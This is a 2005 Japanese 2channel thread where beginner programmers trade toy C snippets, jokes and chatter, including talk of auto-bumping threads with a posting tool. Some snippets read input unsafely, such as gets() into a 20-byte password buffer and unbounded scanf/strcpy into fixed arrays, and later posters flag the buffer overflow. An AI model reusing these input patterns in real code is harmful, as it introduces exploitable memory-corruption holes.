VIPPERでもわかるプログラミング

このエントリーをはてなブックマークに追加
1デフォルトの名無しさん
点プレは>>2-5あたり
2デフォルトの名無しさん:2005/11/17(木) 01:31:24
【初心者】プログラム初心者に最適の言語ってなに?
http://pc8.2ch.net/test/read.cgi/tech/1102142547/

初心者のためのプログラミング言語ガイド
http://pc8.2ch.net/test/read.cgi/tech/1034505166/

初学者が習うといい言語は何?(除PerlとJava)
http://pc8.2ch.net/test/read.cgi/tech/1075035410/

初心者のためのプログラミング言語ガイド Part2
http://pc8.2ch.net/test/read.cgi/tech/1122205164/

【言語】おすすめの言語ってなんでしょう【初心者】
http://pc8.2ch.net/test/read.cgi/tech/1124600090/

【完全初心者】何をやったらいいですか?
http://pc8.2ch.net/test/read.cgi/tech/1031149590/
3デフォルトの名無しさん:2005/11/17(木) 01:31:39
じゃっかる
4デフォルトの名無しさん:2005/11/17(木) 01:31:50
過去スレ

VIPPERでもわかる C言語プログラミング
http://pc8.2ch.net/test/read.cgi/tech/1129913775/

VIPPERでもわかる C言語 Part2
http://pc8.2ch.net/test/read.cgi/tech/1131189634/

VIPPERでもわかるプログラミング
http://pc8.2ch.net/test/read.cgi/tech/1131587274/
5デフォルトの名無しさん:2005/11/17(木) 01:32:13
wiki
http://wiki.spc.gr.jp/ProgrammingVIP/
新しいページ作りたい場合はURLのうしろに?(ページ名)ってつける

たとえばページ名をVIPにしたい場合は
http://wiki.spc.gr.jp/ProgrammingVIP/?VIP

すでに同名のページがあれば表示されるし、なければ新規ボタンがでるから押せ

上のほうにある編集ボタンを押せば文章書ける
最後に保存ボタンを押してセーブできる
6デフォルトの名無しさん:2005/11/17(木) 01:32:59 BE:189534645-#
7デフォルトの名無しさん:2005/11/17(木) 01:33:56
8デフォルトの名無しさん:2005/11/17(木) 06:06:32
新スレを見失ったに20レス
9デフォルトの名無しさん:2005/11/17(木) 08:56:29
みんなここだお(^ω^;)
10デフォルトの名無しさん:2005/11/17(木) 08:56:34
>>1
かばやろう!
スレタイに「2」って付けろい。
11デフォルトの名無しさん:2005/11/17(木) 09:18:02
糞スレ
12デフォルトの名無しさん:2005/11/17(木) 09:21:51
>>11
(^ω^#)
13デフォルトの名無しさん:2005/11/17(木) 09:27:12
前スレまとめ

■英語出来ない奴は来るな
■初心者は来るな
■Be使用者は来るな
■コテは来るな
■VIPPERは来るな
14デフォルトの名無しさん:2005/11/17(木) 09:45:28
このスレの方向性
■英語できない奴とか大歓迎
■超絶初心者も大歓迎
■be使用者は死ね
■コテは死ね

15デフォルトの名無しさん:2005/11/17(木) 11:03:33
パートスレうぜー
1615:2005/11/17(木) 11:04:04
VIPと間違えました。
17デフォルトの名無しさん:2005/11/17(木) 11:13:53
■メル欄に小細工する奴はキモイ
18デフォルトの名無しさん:2005/11/17(木) 12:28:51
■同意
19デフォルトの名無しさん:2005/11/17(木) 15:54:49
ん?vip移転した?
20デフォルトの名無しさん:2005/11/17(木) 15:56:52
ex10鯖はpingの応答有りだけど・・・
21デフォルトの名無しさん:2005/11/17(木) 16:01:24
ex14準備中みたい・・・
22デフォルトの名無しさん:2005/11/17(木) 16:38:00
実質part17ぐらいか
ム板に移ってから流れ速いな
23デフォルトの名無しさん:2005/11/17(木) 18:34:25
4スレ目だろ
24デフォルトの名無しさん:2005/11/17(木) 18:52:13
#include <iostream>

class HelloWorld {
public:
    HelloWorld() {
        std::cout << "Hello, World." << std::endl;
    }
} helloWorld;

int main() {}
25デフォルトの名無しさん:2005/11/17(木) 18:58:49
#include <stdio.h>
#include <stdlib.h>

int main()
{
    printf("あなたのOSは%sです。\n", getenv("OS"));
    return 0;
}
26デフォルトの名無しさん:2005/11/17(木) 19:02:00
>>25
そんな環境変数ないニダ
27デフォルトの名無しさん:2005/11/17(木) 19:06:09
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char *os;

    os=getenv("OS");
    
    if (os!=NULL)
    {
        printf("あなたのOSは%sです。\n", os);
    }
    else
    {
        printf("あなたのOSは(´・ω・)カワイソスです。\n");
    }
    return 0;

}
28デフォルトの名無しさん:2005/11/17(木) 19:10:04
         ∧_∧
         (´Д` ) 
         /   /⌒ヽ
      _/⌒/⌒/ / |__
     / (つ /_/ /\ |  /\
   /  (_____/  ヽ/   \
  /| ̄ ̄         ̄ ̄|\   /  それがVIPクオリティ
/  |   かまって     |  \/     http://ex7.2ch.net/news4vip/
    |   ください     |/
29デフォルトの名無しさん:2005/11/17(木) 19:15:52
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char *os;
    
    putenv("OS=VIPクオリティ");

    os=getenv("OS");
    
    if (os!=NULL)
    {
        printf("あなたのOSは%sです。\n", os);
    }
    else
    {
        printf("あなたのOSは(´・ω・)カワイソスです。\n");
    }
    return 0;
}
30デフォルトの名無しさん:2005/11/17(木) 19:23:08
#include <stdio.h>
#include <string.h>
int main(void)
{
char pass[20];
printf("パスワードを入力してください:");
gets(pass);
if (!strcmp("vip", pass) printf("⊂二二二( ^ω^)二⊃ブーン");
else printf("たわけ");
return 0;
}
31たわけ:2005/11/17(木) 19:40:15
 
32デフォルトの名無しさん:2005/11/17(木) 19:41:00
>>30
バッファオーバフローによりプログラムの実行権限を乗っ取られる脆弱性があります。
33デフォルトの名無しさん:2005/11/17(木) 19:41:31
(σ・∀・)σgets
34デフォルトの名無しさん:2005/11/17(木) 19:45:16
#include <stdio.h>
#include <string.h>
int main(void)
{
char pass[20];
printf("パスワードを入力してください:");
fgets(pass, 19, stdin);
if (!strcmp("vip", pass) printf("⊂二二二( ^ω^)二⊃ブーン");
else printf("たわけ");
return 0;
}
35デフォルトの名無しさん:2005/11/17(木) 19:51:16
if (!strcmp("vip", pass) printf("⊂二二二( ^ω^)二⊃ブーン");
↑の括弧内の条件の中にある「!」が最初にある場合は
なんて訳せばいいんですか?
36デフォルトの名無しさん:2005/11/17(木) 19:59:03
>>35
!は否定。〜でないときとでも言えばいい。
ただ、strcmpは一致すれば0を返す仕様だから、
!strcmpは熟語的に「文字列が等しければ」とでも思っておくのが良いと思う。
37スーパーハカー:2005/11/17(木) 20:00:41
//環境変数をブルートフォースアタックで解析
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>

int main()
{
    char *alnum="0123456789abcdefghijklmnopqrstuvwxyz";
    int i, num;
    char hensuu[10];
    char *value;

    for (i=0 ; i<pow(36,4) ; i++)
    {
        num=i;
        strcpy(hensuu, "");
        while(num!=0)
        {
            sprintf(hensuu, "%s%c", hensuu, alnum[num%strlen(alnum)]);
            num/=strlen(alnum);
        }

        value=getenv(hensuu);
        if (value!=NULL)
        {
            puts(value);
        }
    }
    return 0;
}
38デフォルトの名無しさん:2005/11/17(木) 20:03:40
>>36
丁寧に答えて下さってありがとう御座います!!
strcmpが0を返す事を利用するとは参りましたw
39デフォルトの名無しさん:2005/11/17(木) 20:09:14
>>37
それいつ終わりますか
40デフォルトの名無しさん:2005/11/17(木) 20:09:48
プログラム作るのって何ですればいいんですか?
41デフォルトの名無しさん:2005/11/17(木) 20:13:06
42デフォルトの名無しさん:2005/11/17(木) 20:13:59
>>34
右括弧が足りないじゃんww
43デフォルトの名無しさん:2005/11/17(木) 20:17:07
ttp://www.vipper.org/vip142398.tar
実行方法は
./a.out [0-9_¥-¥.]*
44デフォルトの名無しさん:2005/11/17(木) 20:24:32
>>41
サイト参考になります(´・ω・`)
45デフォルトの名無しさん:2005/11/17(木) 20:27:14
>>37
無駄が多い。
46デフォルトの名無しさん:2005/11/17(木) 20:28:42
独習C終わた。2周した。疲れた。次は独習C++だ。
47デフォルトの名無しさん:2005/11/17(木) 21:30:48
テラヤサシス
48デフォルトの名無しさん:2005/11/17(木) 21:31:19
誤爆スマン
49デフォルトの名無しさん:2005/11/17(木) 23:07:47
いや俺も優しいと思うな
50デフォルトの名無しさん:2005/11/18(金) 07:18:53
>>45
具体的に指摘してよ
51デフォルトの名無しさん:2005/11/18(金) 07:26:25
>>40
とりあえず、コンパイラをインスコせなならん
52デフォルトの名無しさん:2005/11/18(金) 08:41:13
>> 50
const char* に何度も strlen
なぜそこで使うか pow
毎回 sprintf

とか。
53デフォルトの名無しさん:2005/11/18(金) 18:25:30
VIPPERへの課題:RFC 3091を実装せよ。
54デフォルトの名無しさん:2005/11/18(金) 18:31:53
>>53
>コネクションが確立されると、サーバはデータのストリームとして小数点に続く
>最上位の桁から始めて一度に円周率の一桁ずつを送信する
>これはクライアントがコネクションを閉じるまで続く
なんだこのDoSの温床wwwwww
55デフォルトの名無しさん:2005/11/18(金) 18:56:59
>>54
ちょwwwおまwww
コネクション繋ぎっぱなしにするだけす
text/plan+Keep-Aliveでどうにかなる気ガス
#ただ何でキャッシュを使わない?
56デフォルトの名無しさん:2005/11/18(金) 19:02:22
>>55
なんでHTTPなんだよw
57デフォルトの名無しさん:2005/11/18(金) 19:06:00
言ってる事が意味不明…(´・ω・`)
58デフォルトの名無しさん:2005/11/18(金) 19:14:57
あれ?このスレC言語スレ?
59デフォルトの名無しさん:2005/11/18(金) 19:25:50
ただの雑談スレです
60デフォルトの名無しさん:2005/11/18(金) 19:55:05
C言語を一通り勉強しおえたんだ。まぁ、基本だけなんだが。で、次はC++にチャレンジする。
で、Visual C++はWindowsアプリケーションが作れると聞いたんだが、でもC++だってライブラリが用意されてるからGUI作れるよな。
じゃあこの2つは一体何が違うんだ?
61デフォルトの名無しさん:2005/11/18(金) 19:55:08
初心者が入り込めなくなる話題は避けましょうね(・∀・)
62デフォルトの名無しさん:2005/11/18(金) 19:57:12
>>60
Visual C++ はマイクロソフトのC++開発環境一式の名称

C++はJavaと違ってGUIの標準がないから
MFCとかVCLとかQtとか使うことになる
63デフォルトの名無しさん:2005/11/18(金) 20:00:30
じゃあこのスレでGUIの標準作ってやろうぜ。
64デフォルトの名無しさん:2005/11/18(金) 20:05:14
C言語にHello world!で勝負を挑んでみたけど出来たバイナリのサイズが一緒で引き分けだった・・・
65デフォルトの名無しさん:2005/11/18(金) 20:07:06
今世紀最大の犯罪予告

詳細は、↓をクリックしる
http://aa5.2ch.net/test/read.cgi/nida/1130995497/
66デフォルトの名無しさん:2005/11/18(金) 20:08:36
OSでも作りたいのならC言語やれ
67デフォルトの名無しさん:2005/11/18(金) 20:12:09
TOMOYO Linuxになんて負けないもっと萌えを追及した
ディストリビューションでも誰か作ってくれよ
68デフォルトの名無しさん:2005/11/18(金) 20:37:25
ライブラリって便利すぎて卑怯だよな
ソートするやつとか
69デフォルトの名無しさん:2005/11/18(金) 20:43:23
>>68
おまえはjavaと.NETを馬鹿にした
70デフォルトの名無しさん:2005/11/18(金) 20:49:33
>>62
あぁ、商品名かwwww
71デフォルトの名無しさん:2005/11/18(金) 22:56:38
72デフォルトの名無しさん:2005/11/18(金) 23:22:37
>>71
ノーd先生に怒られた
73デフォルトの名無しさん:2005/11/19(土) 00:43:06
char c;
for(c=0; c<127; c++) if(isprint(c)) printf("%c", c);
74デフォルトの名無しさん:2005/11/19(土) 01:25:15
オンラインゲームの方はどうなった?
75デフォルトの名無しさん:2005/11/19(土) 02:46:28
>>55
常時はってるかは関係なく、コネクションはりまくって
パケット捨てまくれば立派な DoS 攻撃どす。
ってか、ジョーク RFC にマジレス ( ´・ω・)カコワルス
76デフォルトの名無しさん:2005/11/19(土) 07:19:57
VIPのスレまた落ちた
77デフォルトの名無しさん:2005/11/19(土) 07:26:04
落ちるの速いよ。
最後の書き込みは 05:52 だったぞ。
なんなんだ。
78デフォルトの名無しさん:2005/11/19(土) 07:41:38
うはwその速さじゃ時の賢者ホッシュでも保守は無理ぽ。
79デフォルトの名無しさん:2005/11/19(土) 07:43:10
こっちでやってもいいけど住民がなぜかあまり被ってない気がしないでもないわけでもないかもしれない。
80デフォルトの名無しさん:2005/11/19(土) 09:58:35
('ω`) ◆YDnNOS/Dosは、どこ行った?www
81デフォルトの名無しさん:2005/11/19(土) 10:20:46
ひょっこり出てくるなら名前出すなよ
82デフォルトの名無しさん:2005/11/19(土) 10:29:19
名無しになってるです
83デフォルトの名無しさん:2005/11/19(土) 12:06:48
俺はこっちに移ってきた。
いまのVIPではプログラムなんで出来ね
84デフォルトの名無しさん:2005/11/19(土) 12:13:49
てか寒い
冬でも暖かくなるプログラム作って
85デフォルトの名無しさん:2005/11/19(土) 12:26:11
>>84
スレッドを最大数立てて、全部∞ループで
三角関数などの計算コストの高い処理を繰り返せ
きっと暖かくなる
86デフォルトの名無しさん:2005/11/19(土) 12:27:27
87デフォルトの名無しさん:2005/11/19(土) 12:46:59
今さらですが、単方向リスト作ってみました。これでだいじょぶ?
ttp://www.vipper.org/vip143186.txt
メチャ悩んだよ ><

解放のしかたがおわっとる。
これを双方向にしたいんだけど、今日中に終わる自信なし・・。

>>86
おつかれちゃーん!
88デフォルトの名無しさん:2005/11/19(土) 13:05:01
>>86
落ちた
保守しろよwwww
89デフォルトの名無しさん:2005/11/19(土) 13:06:33
今、VIP落ちるの早いっぽい
90デフォルトの名無しさん:2005/11/19(土) 13:07:47
どっかで乱立祭りでもやってる?
91デフォルトの名無しさん:2005/11/19(土) 13:10:58
>>88
えええwwwwもう落ちたのかよwww
やってらんねww
92デフォルトの名無しさん:2005/11/19(土) 13:11:45
93デフォルトの名無しさん:2005/11/19(土) 13:40:47
自動保守プログラム誰か使ってなかった?
最終書き込み時間見て書き込むやつ
94デフォルトの名無しさん:2005/11/19(土) 13:44:08
規制ぬるくなったから落ちるのは仕方ないだろ
需要がなきゃ落ちるのは定めだからな
95デフォルトの名無しさん:2005/11/19(土) 14:10:12
>>93
age2chだっけ?ググれば出てくるだろ?
96デフォルトの名無しさん:2005/11/19(土) 14:45:51
age2ch
一時間単位でしか指定できないお
一時間じゃ間に合わないお
97デフォルトの名無しさん:2005/11/19(土) 14:47:37
age2chをこのスレで改良するとか
98デフォルトの名無しさん:2005/11/19(土) 15:12:03
10人でずらして使えば6分に一度書き込めるじゃん
99デフォルトの名無しさん:2005/11/19(土) 15:21:20
また落ちたなw
100デフォルトの名無しさん:2005/11/19(土) 15:25:07
age2chはDelphiで作られています
101デフォルトの名無しさん:2005/11/19(土) 16:15:52
また落ちたがな(´・ω・)
102デフォルトの名無しさん:2005/11/19(土) 16:22:31
スレに何送れば書き込めるの?
103デフォルトの名無しさん:2005/11/19(土) 16:26:13
104デフォルトの名無しさん:2005/11/19(土) 16:27:46
>>103
作るの簡単じゃね?w
105デフォルトの名無しさん:2005/11/19(土) 16:30:04
悪用されない?
106デフォルトの名無しさん:2005/11/19(土) 16:41:36
そりゃされるさ。
age2chだって出た当初は運営から使用禁止勧告がでてたんだ。
107デフォルトの名無しさん:2005/11/19(土) 16:44:53
つうかage2chのCUI版使えば1分単位で保守できるけどな。
108デフォルトの名無しさん:2005/11/19(土) 16:45:04
VIPのスレ保守用に欲しい。
109デフォルトの名無しさん:2005/11/19(土) 16:46:57
じゃあ役割分担してみんなで作ろうぜ。
110デフォルトの名無しさん:2005/11/19(土) 16:47:40
>>107
じゃあage2ch使えばいいじゃん。わざわざ新しく作る意味ないね。
111デフォルトの名無しさん:2005/11/19(土) 16:47:47
じゃあ俺なにやればいいの?
112デフォルトの名無しさん:2005/11/19(土) 16:50:09
113デフォルトの名無しさん:2005/11/19(土) 16:51:23
作るとなるとWinSock使うのかな。
DelphiでIndy使ってGetしかしたことないからPost知らん。
114デフォルトの名無しさん:2005/11/19(土) 16:52:02
>>112
怖くて踏めない
115デフォルトの名無しさん:2005/11/19(土) 16:52:34
あ、hide押すとウインドウを隠す(タスクバーなどにも表示されない)からタスクマネージャーから終了させる必要があります
116デフォルトの名無しさん:2005/11/19(土) 16:53:27
>>114
それじゃあ汚いけどソース晒そうか?
ていうかage2ch.pl使う人がいればそれでいいんだけど
別に今から新しいの作っても楽しそうだけど
117デフォルトの名無しさん:2005/11/19(土) 16:54:33
保守ってjavascriptじゃできないの?
118デフォルトの名無しさん:2005/11/19(土) 16:55:14
javaでsocket通信できたっけ
119デフォルトの名無しさん:2005/11/19(土) 16:55:46
>>116
つーかexeでうpるなハゲ
120デフォルトの名無しさん:2005/11/19(土) 16:56:05
118だけどjavascriptね
121デフォルトの名無しさん:2005/11/19(土) 16:57:01
>>119
じゃあ何がよかったんだよ(^ω^;)
122デフォルトの名無しさん:2005/11/19(土) 16:57:37
>>113
IdHTTP.Post(URL, PostData:TStringList);
123デフォルトの名無しさん:2005/11/19(土) 16:57:45
zip
124デフォルトの名無しさん:2005/11/19(土) 16:59:04
一つのファイルをzipにして意味あるの?
125デフォルトの名無しさん:2005/11/19(土) 16:59:59
Delphi嫌だからActiveBasicで作ろうよ。
126デフォルトの名無しさん:2005/11/19(土) 17:00:12
私はDelphi知らないですが、Delphiはネットワークにデータを送るとき
ホストバイトオーダとかネットワークバイトオーダとか
気にするんですか?
127デフォルトの名無しさん:2005/11/19(土) 17:01:33
それはdelphiとか関係なく気にしないといけないんじゃないの
128デフォルトの名無しさん:2005/11/19(土) 17:39:07
>>124
汝にフールプルーフという言葉を授けよう。
129デフォルトの名無しさん:2005/11/19(土) 17:43:28
それは違うだろ
130デフォルトの名無しさん:2005/11/19(土) 17:49:09
禁止勧告でてるなら他の手段かんがえたほうが
131デフォルトの名無しさん:2005/11/19(土) 17:56:27
何らかの手段でVIPに延命させたとしても保守レスばかりじゃな…
132デフォルトの名無しさん:2005/11/19(土) 17:57:32
おまいらwが足りませんよ
133デフォルトの名無しさん:2005/11/19(土) 18:09:35
まあなんだ
FreeMacro!
134デフォルトの名無しさん:2005/11/19(土) 18:25:29
プログラム必死こいて作ってると、スレ読まなくなってスレ落ちる(つД`)
135デフォルトの名無しさん:2005/11/19(土) 18:29:07
>>134
おまいはオレか。
136デフォルトの名無しさん:2005/11/19(土) 18:49:33
おまいらはプログラムよりおもしろいライセンスを考えろ

ソースを商用利用する場合は作者のサイトにアナル画像をうpしてくださいとか
137デフォルトの名無しさん:2005/11/19(土) 18:53:43
いや、それだと法律に引っかからないか?
138デフォルトの名無しさん:2005/11/19(土) 18:56:44
ネタにマジレスカコワルイ
139デフォルトの名無しさん:2005/11/19(土) 18:58:03
笑点なみにレベルの低いネタだな
140デフォルトの名無しさん:2005/11/19(土) 18:58:42
>>136
必ず配布ファイル群に
「僕は神山満月ちゃん!」と叫んだ音声ファイルを含めること
.wav .mp3 .ogg等
141デフォルトの名無しさん:2005/11/19(土) 19:04:23
たわけ
142デフォルトの名無しさん:2005/11/19(土) 19:32:42
>>140
形式はaiffのみでw
143デフォルトの名無しさん:2005/11/19(土) 20:01:44
2ちゃんねるのDATを読み込んでテキストに整形するプログラム作ったんだけど欲しい?
144デフォルトの名無しさん:2005/11/19(土) 20:04:30
>>140
かみやま みづき って読むのか?
145デフォルトの名無しさん:2005/11/19(土) 20:04:51
>>143
JaneだとDatで保存されてしまうから重宝するよ
146デフォルトの名無しさん:2005/11/19(土) 20:07:26
こうやまみつき
147デフォルトの名無しさん:2005/11/19(土) 20:08:34
U15板へどうぞ
148デフォルトの名無しさん:2005/11/19(土) 20:16:07
DAT程度数行のスクリプトで
149デフォルトの名無しさん:2005/11/19(土) 20:18:52
うpしようと思ったけどWin向けに修正が必要だ・・・
150デフォルトの名無しさん:2005/11/19(土) 21:24:37
>>143
プログラミング暦どれくらいで、それを作れるようになりましたか。
151デフォルトの名無しさん:2005/11/19(土) 21:29:34
>>150
>>148

Cでも楽にできるし、Perlとか使えば余裕だろ
152デフォルトの名無しさん:2005/11/19(土) 21:35:44
おまえら本当に負けず嫌いだなw
153デフォルトの名無しさん:2005/11/19(土) 21:42:50
オレオレ大王スレ
154デフォルトの名無しさん:2005/11/19(土) 21:55:24
っで結局なに作るんだ?
155デフォルトの名無しさん:2005/11/19(土) 21:57:51
目玉焼き
156デフォルトの名無しさん:2005/11/19(土) 22:00:57
どう見ても玉子焼きです
ありがとうございました
157デフォルトの名無しさん:2005/11/19(土) 22:05:00
おまいら暇ならちょっと頼みたいことがある
http://ex14.2ch.net/news4vip

ex14.2ch.net
の変換関数をDelphiで作ってくれ
もちろん全板対応でな、ちょっと待つわ〜
158デフォルトの名無しさん:2005/11/19(土) 22:07:09
/http:\/\/(\w*\.2ch\.net)/
159デフォルトの名無しさん:2005/11/19(土) 22:23:29
strcpy(vip, "http://www.vip-quality.com/");
160143:2005/11/19(土) 22:29:06
ttp://www.vipper.org/vip143423.zip

めんど臭かったからソースだけニダ
多分
gdc main.d encode.d dat.d -liconv
でコンパイル出来るニダ

出力エンコーディングはUTF-8ニダ

>>150
1年もたってないニダ
161デフォルトの名無しさん:2005/11/19(土) 22:34:56
これCじゃねぇ
162デフォルトの名無しさん:2005/11/19(土) 22:43:42
D言語?
163デフォルトの名無しさん:2005/11/19(土) 22:44:23
D言語かよ(゚听)イラネ
164デフォルトの名無しさん:2005/11/19(土) 22:44:31
D言語ってジョークだとおもってた
165デフォルトの名無しさん:2005/11/19(土) 22:45:36
D言語ってどうなんだ?
業務的分野じゃ聞いたことがない。
166デフォルトの名無しさん:2005/11/19(土) 22:51:13
D言語でもなんでもいいが
構造体の名前の頭文字が大文字だったり小文字だったりするのはやめてくれ。
気持ち悪い。
167デフォルトの名無しさん:2005/11/19(土) 22:51:32
>>165
ttp://www.kmonos.net/alang/d/comparison.html
俺はC/C++で十分だと思うし、Dの何処がいいのか理解できん
168デフォルトの名無しさん:2005/11/19(土) 22:52:04
>>165
そりゃ個人が作ってて、まだ仕様もきっちり決まってない様な言語を業務で使われたらたまらんわい。
169デフォルトの名無しさん:2005/11/19(土) 22:52:32
>>166
統一されてますが?
なにみてんの?
170デフォルトの名無しさん:2005/11/19(土) 22:55:09
どうでもいいが、Copyrightは普通ソースの頭に説明と一緒に書くものだと思うんだが


>>168
あれって個人が作ってるのか?それなりに人気のRubyとはえらい違いだなwwww
171デフォルトの名無しさん:2005/11/19(土) 22:56:18
Rubyは時流に乗って今や世界の4大スクリプトだもんな、スゲーよ
Railsのおかげとはいえ
172143:2005/11/19(土) 22:57:23
>>170
一応会社になってるけど中の人は一人だった希ガス

Copyrightは・・・
173デフォルトの名無しさん:2005/11/19(土) 22:57:47
つーかD言語でOSを作ろうとしてる人か
174デフォルトの名無しさん:2005/11/19(土) 22:58:57
VIPまた落ちたぞ
175デフォルトの名無しさん:2005/11/19(土) 22:59:35
もうだめぽ・・・
176デフォルトの名無しさん:2005/11/19(土) 23:00:34
エロゲとか2ちゃんねるブラウザとか勉強会とか全部こっちでやるのか?
177デフォルトの名無しさん:2005/11/19(土) 23:01:04
vip臭をここで出さなければここでやってもいいよ
178デフォルトの名無しさん:2005/11/19(土) 23:05:47
もうVIPは駄目だな
179デフォルトの名無しさん:2005/11/19(土) 23:07:05
ファイルを暗号化するプログラムを書いているんですがコンパイルして実行してみると
問題が発生したためとの趣旨で終了させられます。
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<dir.h>

main(int argc,char*argv[]){
char ch;
FILE *fp;
FILE *wfp;
char filename[256];
char outfilename[256];
char key[128];
int keylen;
int i=0;

//原文ファイル名の決定
if(argc > 1){
strcpy(filename,argv[1]);
}else{
printf("ファイル名を入力してください>");
scanf("%s",filename);
}

180デフォルトの名無しさん:2005/11/19(土) 23:09:09
dir.hってなに?
181デフォルトの名無しさん:2005/11/19(土) 23:09:29
誤爆したw
182デフォルトの名無しさん:2005/11/19(土) 23:10:36
183デフォルトの名無しさん:2005/11/19(土) 23:10:58
工エエェェ(´д`)ェェエエ工

せっかくだから最後まで上げてよ
184デフォルトの名無しさん:2005/11/19(土) 23:11:12
>>181
おまえはアメリカ爆撃機かよ
185デフォルトの名無しさん:2005/11/20(日) 00:38:59
おまえらソフトウェアに求められる品質の基準としてVIPクオリティーを定めないか?
186デフォルトの名無しさん:2005/11/20(日) 00:40:01
>>179
scanf つかっちゃめー
使うなら、gets( char* dist ) か、fgets( char* dist, int length, FILE* in )。
187143:2005/11/20(日) 00:46:29
gets(2)だって大して変わらんだろw
188デフォルトの名無しさん:2005/11/20(日) 00:48:37
windowsでgetsもfgetsも使うことは無い
189デフォルトの名無しさん:2005/11/20(日) 00:49:28
>>186
それ品質の基準じゃなくてコーディング規約だから
190デフォルトの名無しさん:2005/11/20(日) 00:57:53
>>188
だな。エディットコントロールに書き込ませてGetWindowTextだな。
191デフォルトの名無しさん:2005/11/20(日) 01:01:12
むしろscanfよりgetsの方がたち悪いな
192デフォルトの名無しさん:2005/11/20(日) 01:05:35
なぜ?vbしか知らない俺には全然分かりません
193デフォルトの名無しさん:2005/11/20(日) 01:06:57
日本語しか知らない俺にも全然分からん
194143:2005/11/20(日) 01:06:57
>>192
fgetsでは読み込むサイズを指定するがgets, scanfは指定しないためメモリを破壊する。
195デフォルトの名無しさん:2005/11/20(日) 01:11:23
そんな危険な関数を放置しているC言語標準化委員会なんて放っておいて
MS独自拡張使おうぜ
196デフォルトの名無しさん:2005/11/20(日) 01:12:22
11月19日の投稿数: 26,131

ニュー速VIP (15619)
実況headline (1181)
モ娘(狼) (927)
速報headline (760)
ニー速 (755)

うひょー
197デフォルトの名無しさん:2005/11/20(日) 01:25:57
scanfの%sなら空白きたら止まるからまだマシだが、getsなんて空白こようと無視するからな
\nで止まるんだっけ?
198143:2005/11/20(日) 01:27:23
ファイルの終端まで読み込んだはず・・・
199デフォルトの名無しさん:2005/11/20(日) 01:31:36
gets() は、改行文字か EOF までの 1行を stdin から読み込み s が指すバッファに格納する (末尾の改行文字や EOF は '\0' に置き換えられる)。バッファ・オーバーランのチェックは行われない

http://www.linux.or.jp/JM/html/LDP_man-pages/man3/gets.3.html
200143:2005/11/20(日) 01:34:34
改行でとまったか・・・orz
201デフォルトの名無しさん:2005/11/20(日) 01:43:21
よく分からないがそんな危険なものがなんで実装されてるの?
fgetsだけじゃだめなの?
202デフォルトの名無しさん:2005/11/20(日) 01:44:09
使い方が簡単だから
203デフォルトの名無しさん:2005/11/20(日) 01:52:52
gets(char *s, int size);
こうすればいいじゃん

それ以前の問題としてC言語は渡した配列のサイズを受け側で認識できないのが最大のセキュリティホール
204デフォルトの名無しさん:2005/11/20(日) 01:58:38
>>203
それはみんな思ってることだ
逆に、その問題点を常に意識してプログラム書くから
他の言語に比べてロジックバグは少なくなるという。

それがいいことかと言われると正直Yesとはいいづらいけど
その辺の危機意識を身を持って感じた人間は
多言語を触るときに強いと思うお
205デフォルトの名無しさん:2005/11/20(日) 02:00:47
>>202
エラーでるなら使い方難しいんじゃね?
206デフォルトの名無しさん:2005/11/20(日) 02:03:10
>>203
そんなことできるか?
207デフォルトの名無しさん:2005/11/20(日) 02:05:23
>>206
できねーよ

C言語の実装をこういう風に変えたらいいじゃんっていう希望願望夢
208デフォルトの名無しさん:2005/11/20(日) 02:07:47
オレならこうする!こうしました! って感じのvipper専用libc
libvipcを作ればよくね?
209デフォルトの名無しさん:2005/11/20(日) 02:10:18
基本的にはlibcのラッパーのように機能して
#include <vip.h>
正直、libcの機能を体系的にまとめて編成しなおしたいという願望は
みんな心の奥底に持っているんじゃまいか?
210デフォルトの名無しさん:2005/11/20(日) 02:16:32
やっぱりCって基本なのかなあ・・・今までVBとかaspとかjavaしかやったことないけどCやらないとだめなのか
211デフォルトの名無しさん:2005/11/20(日) 02:17:51
だめってことはないんじゃまいか
212デフォルトの名無しさん:2005/11/20(日) 02:25:27
セキュアなライブラリはGNUやMSが用意してくれてる
あとは名前統一するだけ
213デフォルトの名無しさん:2005/11/20(日) 02:25:56
>>195
2005からはgetsやscanfのサイズ指定可能版も出たな
214デフォルトの名無しさん:2005/11/20(日) 02:30:29
>>210
何が基本と言うことはない
いや、確かにCは基本かもしれないけど
重要なのは「言語は手段であって目的ではない」ということだお
どんな言語にも得手不得手はあるし、目的に応じて
言語を使い分けることはプロのプログラマとして当たり前田のキャプチュード
215デフォルトの名無しさん:2005/11/20(日) 02:32:01
MSがセキュアなCライブラリを提供してくれてたとは知りませんでした。
勉強不足で申し訳ありません。 腹を切ってきます。
216デフォルトの名無しさん:2005/11/20(日) 03:08:08
_s がつく関数?
217デフォルトの名無しさん:2005/11/20(日) 06:24:49
今日はここでエウレカ待ち ^^

vipはもう駄目ぽ。。
218デフォルトの名無しさん:2005/11/20(日) 06:28:08
今日のがっちりマンデーは幻冬舎の社長でるぞ
219デフォルトの名無しさん:2005/11/20(日) 06:46:39
幻冬舎の社長は妙に熱い人だよね。
面白そうだけど、報道2001も見たいなぁ。
今日は平沼赳夫さんが出るみたいだし。
220デフォルトの名無しさん:2005/11/20(日) 06:47:05
エウレカセブンやるぞ
221デフォルトの名無しさん:2005/11/20(日) 06:48:06
まだだよ
222デフォルトの名無しさん:2005/11/20(日) 06:49:38
もうすこしではじまっちゃうだろ!
223デフォルトの名無しさん:2005/11/20(日) 06:55:57
実況行くか
224デフォルトの名無しさん:2005/11/20(日) 06:56:19
よっしゃ、いくぞぉぅん
225デフォルトの名無しさん:2005/11/20(日) 07:29:45
オワタ。世の中愛だとオモタ。
みんながんばろー (`・ω・´)
226デフォルトの名無しさん:2005/11/20(日) 07:37:15
エウレカ実況でバーボンくらった件
もう寝る!
227デフォルトの名無しさん:2005/11/20(日) 08:35:59
>>128
確かにexe踏んだら嫌な気分になるね
製作者からすれば安全なのわかってるから油断したよ
ぶひぶひ
228デフォルトの名無しさん:2005/11/20(日) 08:38:26
>>172
2人だよ
229デフォルトの名無しさん:2005/11/20(日) 14:10:04
変数名のことで質問です。
末尾が2つのnullで終わる文字列があって、今はその変数名のプリフィクスをszzにしています。
でも適当に考えたプリフィクスなので、ちょっと気持ち悪いです。
他に何か適切で一般的なプリフィクスはありますか?
230デフォルトの名無しさん:2005/11/20(日) 14:12:47
Nullpo
231デフォルトの名無しさん:2005/11/20(日) 14:29:51
そもそもハンガリアン記法ってM$自身も見捨てたやり方じゃなかったか?
